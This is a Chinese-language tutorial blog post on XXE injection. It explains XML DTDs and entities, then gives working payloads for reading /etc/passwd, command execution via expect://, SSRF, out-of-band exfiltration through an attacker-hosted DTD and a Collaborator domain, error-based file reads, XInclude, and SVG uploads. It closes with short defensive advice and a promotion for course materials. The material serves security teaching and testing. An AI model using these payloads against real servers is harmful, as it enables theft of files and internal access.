XXE注入

XXE注入

XML外部实体注入

XML外部实体注入也称为XXE,是因为后端服务器的XML解析器配置错误,允许在XML文档中定义外部实体,通过外部实体引用外部资源或文件,而且对外部实体引用的资源或文件没有做严格的过滤和校验,导致攻击者可以构造恶意的XML文件发送给服务器让其解析,进而造成安全问题。

XML

XML(Extensible Markup Language,可扩展标记语言)是一种文本格式,主要用来存储或者传输数据,跟HTML(Hypertext Markup Language)一样,都使用标签来表示不同的数据,不同的是,XML的标签名可以自定义,也就是所谓的可扩展。

XML格式

如下表:

姓名性别年龄
小明10
小红11
小兰12

XML格式为:

<personlist>
  <person>
    <name>小明</name>
    <sex>男</sex>
    <age>10</age>
  </person>
  <person>
    <name>小红</name>
    <sex>女</sex>
    <age>11</age>
  </person>
  <person>
    <name>小兰</name>
    <sex>女</sex>
    <age>12</age>
  </person>
</personlist>

每个标签都有一个开始标签和结束标签,比如开始标签<name>和结束标签</name><personlist>是根标签,<person>就是<personlist>的子标签,以此类推。

XML声明

XML声明用来指定XML版本和编码类型等信息,但它并不是必须的,在某些简单的XML文档中,可以省略声明,不受影响。

<?xml version="1.0" encoding="UTF-8"?>

XML文档类型定义

XML文档类型定义(DTD)用来规定XML文档的整体结构,包括有哪些元素、元素的顺序、元素的属性等等,语法如下:

元素定义

<!ELEMENT person (name, sex, age)>

<person>元素必须包含<name><sex><age>三个子元素,且顺序不能改变。

属性定义

<!ATTLIST name test CDATA #REQUIRED>

<name>定义了一个属性,名为test,类型是CDATA,即属性值可以是任何字符数据,#REQUIRED表示这个属性是必须的,如下:

<name test="hack">小明</name>

实体定义

<!ENTITY test "小明">

定义了一个实体,名为test,值为小明,可以在XML中通过&entity_name;引用,如下:

<!DOCTYPE person [
  <!ENTITY test "小明">
]>
<person>
  <name>&test;</name>
</person>

DTD还可以分为内部DTD和外部DTD,内部 DTD是直接嵌入在XML文档中的,外部DTD是存在单独的文件中,然后在XML文档中引用。

内部DTD

<?xml version="1.0"?>
<!DOCTYPE person [
  <!ELEMENT perosn (name,sex,age)>
  <!ELEMENT name (#PCDATA)>
]>
<person>
  <name>小明</name>
  <sex>男</sex>
  <age>10</age>
</person>

外部DTD

<?xml version="1.0"?>
<!DOCTYPE person SYSTEM "person.dtd">
<person>
  <name>小明</name>
  <sex>男</sex>
  <age>10</age>
</person>

<!DOCTYPE>声明

<!DOCTYPE>声明(文档类型声明)在XML文档的开头,XML声明之后,用来指定文档类型和结构,并包含DTD,而<!DOCTYPE>声明并不是XML文档内容的一部分,而是XML的元数据。格式如下:

<?xml version="1.0"?>
<!DOCTYPE person [
  <!ELEMENT perosn (name,sex,age)>
  <!ELEMENT name (#PCDATA)>
]>
<person>
  <name>小明</name>
  <sex>男</sex>
  <age>10</age>
</person>

XML实体

实体可以让我们在XML文档中引用一些特殊的字符、值或者外部文件,可以分为预定义实体、自定义实体和外部实体,如下:

XML预定义实体

有些特殊符号在XML文档中有着特殊的意义,不能直接使用,所以就有了预定义实体来替代这些特殊符号,如下:

&lt;   代表 <(小于号)
&gt;   代表 >(大于号)
&amp;  代表 &(和号)
&quot; 代表 "(双引号)
&apos; 代表 '(单引号)

例如:

<name>&quot;小明&quot;</name>

在XML解析器解析时,最终得到的内容就是:

<name>"小明"</name>

XML自定义实体

在DTD中提到过,在XML中使用<!ENTITY>声明直接定义即可,可以定义一些自己需要的内容,然后在XML文档中引用。

<!DOCTYPE person [
  <!ENTITY test "小明">
]>
<person>
  <name>&test;</name>
</person>

在XML解析器解析时,最终得到的内容就是:

<!DOCTYPE person [
  <!ENTITY test "小明">
]>
<person>
  <name>小明</name>
</person>

XML外部实体

外部实体属于自定义实体的一种,在DTD中定义,用来引用外部资源或文件,可以是文件路径,也可以是URL地址,需要使用SYSTEM关键字,表示实体内容来自外部资源,如下:

<!DOCTYPE test [
  <!ENTITY test SYSTEM "http://example.com">
]>

或者是

<!DOCTYPE test [
  <!ENTITY test SYSTEM "file:///etc/passwd">
]>

XXE攻击类型

文件读取

如下图,是一个查看商品库存的请求,使用XML文档提交数据。

图片

现在修改XML文档,定义一个外部实体,内容指向/etc/passwd。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [ 
<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>1</storeId>
</stockCheck>

有时候XML文档内容会非常多,具体在哪个标签引用外部实体,需要观察原始请求的内容和响应中是否有回显。

图片

命令执行

Payload如下:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "expect://whoami" > ]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>1</storeId>
</stockCheck>

SSRF

Payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379"> ]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>1</storeId>
</stockCheck>

盲XXE

盲XXE就是引用的外部实体内容将不会在响应中返回,无法通过响应内容判断是否存在XXE漏洞,但仍有办法检测,如下:

数据带外

定义外部实体的时候,内容指向我们的DNSlog服务器地址,如果目标服务器正常解析XML文档,向DNSlog服务器发起请求,我们就可以在DNSlog服务器日志中看到目标服务器的HTTP请求和DNS查询记录。还是以查看库存为例,我用Burp的Collaborator演示。Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
<!ENTITY xxe SYSTEM "http://gfzjtjedth8ergrofsz0khg0krqie82x.oastify.com"> ]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>1</storeId>
</stockCheck>

图片

回到Collaborator查看记录。

图片

收到记录,目标服务器向Payload发起了DNS查询和HTTP请求,即成功解析XXE Payload,漏洞存在。

参数实体

参数实体也是用<!ENTITY>定义,实体名前需要加百分号(%),表示定义的是参数实体,引用也是使用%,并且是在DTD中引用,如下:

<!DOCTYPE test [ 
  <!ENTITY % xxe SYSTEM "http://gfzjtjedth8ergrofsz0khg0krqie82x.oastify.com"> 
  %xxe; 
]>

利用数据带外读取文件

需要在攻击服务器(http://example.com)上创建一个DTD文件,让目标服务器引用,文件内容如下:

<!ENTITY % test1 SYSTEM "file:///etc/passwd">
<!ENTITY % test2 "<!ENTITY &#x25; test3 SYSTEM 'http://example.com/?x=%test1;'>">
%test2;
%test3;

1、定义参数实体test1,内容指向/etc/passwd文件。

2、定义参数实体test2,而在内容中又定义了一个参数实体test3,这种结构叫参数实体的递归引用或者参数实体内嵌实体声明。

3、定义参数实体test3中,&#x25就是预定义实体,解析后是%,内容是向攻击服务器http://example.com发送请求,x是个参数,%test就是/etc/passwd,意思是/etc/passwd文件内容通过参数x传递到攻击服务器。

4、在DTD中引用参数实体%test2;和%test3;。

假设该DTD文件的位置是http://example.com/test.dtd。现在引用该实体,发送到目标服务器。

<!DOCTYPE test [<!ENTITY % xxe SYSTEM
"http://example.com/test.dtd"> %xxe;]>

目标服务器读取test.dtd,然后解析,将/etc/passwd文件内容通过x参数传递给攻击者,攻击者可以通过访问日志查看,效果如下:

127.0.0.1 - - [01/Jan/2025:12:00:00 +0000] "GET /?x=root:x:0:0:root:/root:/bin/bash HTTP/1.1" 200 123 "-" "Mozilla/5.0"

利用错误消息读取文件

如果服务器解析XML时报错,会返回错误信息,那么就可以尝试利用错误消息读取文件,还是引用外部DTD,内容如下:

<!ENTITY % test1 SYSTEM "file:///etc/passwd">
<!ENTITY % test2 "<!ENTITY &#x25; test3 SYSTEM 'file:///nonexistent/%test1;'>">
%test2;
%test3;

1、定义参数实体test1,内容指向/etc/passwd文件。

2、定义参数实体test2,在内容中嵌入参数实体test3。

3、实体test3的内容是一个不存在的外部文件file:///nonexistent/%test1;,也就是file:///nonexistent/file:///etc/passwd。

4、在DTD中引用参数实体%test2;和%test3;。

然后就是引用该DTD,发送到目标服务器,目标服务器读取并解析,加载文件file:///nonexistent/file:///etc/passwd,由于该文件不存在,所以报错,并且将报错内容返回给攻击者,如下:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

寻找隐藏攻击面

如果提交的数据不是XML格式的,也就无法直接通过修改请求测试XXE,那么就需要寻找隐藏的攻击面,如下情况:

XInclude攻击

有时候客户端提交的数据并不是XML格式的,但是服务器会把提交的内容嵌入到XML文档,然后交给XML解析器来处理,如果XML解析器开启XInclude功能(XML Include,文件包含功能),则可以通过<xi:include>标签引用外部文件,Payload如下:

<test xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</test>

test是根标签,xmlns:xi="http://www.w3.org/2001/XInclude"是命名空间声明,定义xi是XIclude的前缀,指向的地址是XInclude规范的正式URI,就是告诉XML解析器这是XInclude功能。

xi:include是文件包含的标签,parse="text"是告诉服务器把内容以纯文本嵌入到XML文档,href="file:///etc/passwd"指定外部文件路径。

服务器收到后,嵌入XML文档,XML解析器解析,读取/etc/passwd,如下图:

图片

文件上传漏洞

在文件上传漏洞中提到过,服务器允许用户上传.docx、.xlsx后缀的文件,可以修改文件中的XML文档进行测试XXE,还有就是允许上传svg文件,svg文件不仅可以测试XSS,也可以用来检测是否存在XXE,Payload如下:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

预防漏洞

预防和修复XXE漏洞的核心是禁止或限制XML解析器加载外部实体。以下是一些常见的防御措施:

禁用外部实体解析

最重要的修复措施就是禁用外部实体的解析,禁用后,则无法通过定义外部实体实施XXE攻击。

验证清理输入数据

严格验证XML格式和内容,确保定义的外部实体没有引用敏感文件,或恶意操作。

避免不必要的XML功能

如果没有必须要使用XML的功能,就尽量避免使用XML,可以用JSON代替,其他格式数据也严禁使用XML解析器解析。

总结

如果你对安全感兴趣,别忘了关注我们,持续为你带来最新的安全动态与技术分享!

最后

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

干货主要有:

①1000+CTF历届题库(主流和经典的应该都有了)

②CTF技术文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

扫码领取

##

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值